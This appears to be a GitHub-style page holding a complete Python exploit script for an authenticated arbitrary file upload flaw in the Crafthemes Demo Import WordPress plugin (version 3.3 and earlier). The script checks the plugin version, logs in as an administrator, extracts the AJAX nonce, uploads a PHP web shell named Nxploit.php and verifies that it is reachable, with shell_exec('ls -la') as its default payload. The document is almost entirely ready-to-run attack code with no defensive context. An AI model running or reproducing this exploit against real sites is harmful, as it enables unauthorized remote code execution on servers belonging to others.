README.md
Rendering markdown...
import requests
import argparse
from bs4 import BeautifulSoup
import re
import logging
banner = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗ █████╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██╔══██╗██╔════╝██╔══██╗██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗╚██████║███████╗╚██████║╚█████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝ ╚═══██║██╔═══██╗╚═══██║██╔══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ █████╔╝╚██████╔╝█████╔╝╚█████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═════╝ ╚════╝ ╚════╝
by Nxploit - Khaled_alenazi
"""
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def check_vulnerability(version_url, user_agent):
try:
response = requests.get(version_url, headers={"User-Agent": user_agent}, verify=False)
response.raise_for_status()
except requests.RequestException as e:
logging.error(f"Failed to retrieve plugin version: {e}")
return None
version_text = response.text
version_match = re.search(r'Stable tag: (\d+\.\d+|trunk)', version_text)
if version_match:
return version_match.group(1)
else:
logging.error("Could not determine version.")
return None
def login(session, login_url, login_data, headers):
try:
response = session.post(login_url, data=login_data, headers=headers, verify=False)
response.raise_for_status()
except requests.RequestException as e:
logging.error(f"Login request failed: {e}")
return False
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
logging.info("Logged in successfully.")
return True
else:
logging.error("Failed to log in.")
return False
def extract_nonce(soup):
nonce_value = None
for script in soup.find_all("script"):
script_text = script.text
if "ajax_nonce" in script_text:
nonce_match = re.search(r'"ajax_nonce":"([a-zA-Z0-9]+)"', script_text)
if nonce_match:
nonce_value = nonce_match.group(1)
break
return nonce_value
def main():
print(banner)
parser = argparse.ArgumentParser(description='Crafthemes Demo Import <= 3.3 - Authenticated (Admin+) Arbitrary File Upload in process_uploaded_files')
parser.add_argument('--url', required=True, help='Target WordPress URL')
parser.add_argument('--username', required=True, help='WordPress username')
parser.add_argument('--password', required=True, help='WordPress password')
parser.add_argument('--payload', default='<?php\n$output = shell_exec(\'ls -la\');\necho "<pre>$output</pre>";\n?>', help='Custom PHP payload')
args = parser.parse_args()
session = requests.Session()
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
version_url = f"{args.url}/wp-content/plugins/crafthemes-demo-import/readme.txt"
version = check_vulnerability(version_url, user_agent)
if not version:
exit()
if version != "trunk" and float(version) > 3.3:
logging.error("Target is not vulnerable, exiting.")
exit()
login_url = f"{args.url}/wp-login.php"
login_data = {
'log': args.username,
'pwd': args.password,
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
headers = {"User-Agent": user_agent}
if not login(session, login_url, login_data, headers):
exit()
admin_page = f"{args.url}/wp-admin/admin.php?page=ct-crafthemes-demo-import"
try:
admin_response = session.get(admin_page, headers=headers, verify=False)
admin_response.raise_for_status()
except requests.RequestException as e:
logging.error(f"Failed to load admin page: {e}")
exit()
soup = BeautifulSoup(admin_response.text, 'html.parser')
nonce_value = extract_nonce(soup)
if nonce_value:
logging.info(f"Extracted nonce: {nonce_value}")
else:
logging.error("Failed to extract nonce.")
exit()
upload_url = f"{args.url}/wp-admin/admin-ajax.php"
files = {
'action': (None, 'CT_CTDI_import_demo_data'),
'security': (None, nonce_value),
'selected': (None, 'undefined'),
'content_file': (None, 'undefined'),
'widget_file': (None, 'undefined'),
'customizer_file': ('Nxploit.php', args.payload, 'application/x-php')
}
try:
upload_response = session.post(upload_url, files=files, headers=headers, verify=False)
upload_response.raise_for_status()
except requests.RequestException as e:
logging.error(f"Upload request failed: {e}")
exit()
if '{"status":"customizerAJAX"}' in upload_response.text:
shell_url = f"{args.url}/wp-content/uploads/2025/02/Nxploit.php"
try:
check_shell = session.get(shell_url, headers=headers, verify=False)
check_shell.raise_for_status()
logging.info(f"[+] Shell uploaded successfully: {shell_url}")
except requests.RequestException as e:
logging.error(f"Shell upload response received, but file not found on server: {e}")
else:
logging.error(f"Unexpected response: {upload_response.text}")
if __name__ == "__main__":
main()